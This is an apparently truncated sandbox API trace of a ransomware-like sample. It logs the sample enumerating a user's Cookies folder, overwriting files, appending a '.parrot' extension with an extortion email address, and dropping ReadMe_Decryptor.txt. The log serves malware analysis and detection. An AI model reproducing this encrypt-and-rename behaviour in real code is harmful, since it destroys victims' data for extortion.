HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0056.400] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0056.400] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0056.400] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0056.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0056.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0056.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0056.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0056.400] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0056.400] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.400] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.400] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.400] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.400] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0056.400] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0056.400] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0056.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0056.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0056.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0056.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0056.400] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0056.401] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.401] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.402] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.402] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.402] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c3625f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1c3625f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1c3625f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0056.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.403] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0056.404] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x53 [0056.404] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16b, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.404] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.404] ReadFile (in: hFile=0x310, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0056.405] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.405] ReadFile (in: hFile=0x310, lpBuffer=0x3780040, nNumberOfBytesToRead=0x53, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x53, lpOverlapped=0x0) returned 1 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.405] GetLastError () returned 0x0 [0056.405] SetLastError (dwErrCode=0x0) [0056.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.405] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.406] GetLastError () returned 0x0 [0056.406] SetLastError (dwErrCode=0x0) [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.406] GetLastError () returned 0x0 [0056.406] SetLastError (dwErrCode=0x0) [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.406] GetLastError () returned 0x0 [0056.406] SetLastError (dwErrCode=0x0) [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.406] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0056.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.406] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x178) returned 0x5fc6d0 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0056.407] WriteFile (in: hFile=0x310, lpBuffer=0x5fc6d0*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5fc6d0*, lpNumberOfBytesWritten=0x18f1c4*=0x178, lpOverlapped=0x0) returned 1 [0056.407] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.407] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.407] CloseHandle (hObject=0x310) returned 1 [0056.408] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0056.408] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x5fc6d0 [0056.408] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0056.408] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0056.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0056.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0056.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0056.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0056.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0056.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0056.411] GetFileType (hFile=0x310) returned 0x1 [0056.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.421] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0056.423] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x227 [0056.423] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x33f, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.423] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.423] ReadFile (in: hFile=0x310, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0056.424] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.424] ReadFile (in: hFile=0x310, lpBuffer=0x3780040, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x227, lpOverlapped=0x0) returned 1 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.424] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.424] GetLastError () returned 0x0 [0056.424] SetLastError (dwErrCode=0x0) [0056.424] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.424] GetLastError () returned 0x0 [0056.424] SetLastError (dwErrCode=0x0) [0056.424] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.424] GetLastError () returned 0x0 [0056.424] SetLastError (dwErrCode=0x0) [0056.424] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.424] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x230) returned 0x28d5988 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x55bbe8 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x450) returned 0x5eb458 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.425] GetLastError () returned 0x0 [0056.425] SetLastError (dwErrCode=0x0) [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.425] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.425] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0056.425] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fc6d0 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0056.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28d4ec8 [0056.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0056.426] WriteFile (in: hFile=0x310, lpBuffer=0x28d4ec8*, nNumberOfBytesToWrite=0x348, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x28d4ec8*, lpNumberOfBytesWritten=0x18f1c4*=0x348, lpOverlapped=0x0) returned 1 [0056.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d4ec8 | out: hHeap=0x540000) returned 1 [0056.427] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x33f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.427] CloseHandle (hObject=0x310) returned 1 [0056.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 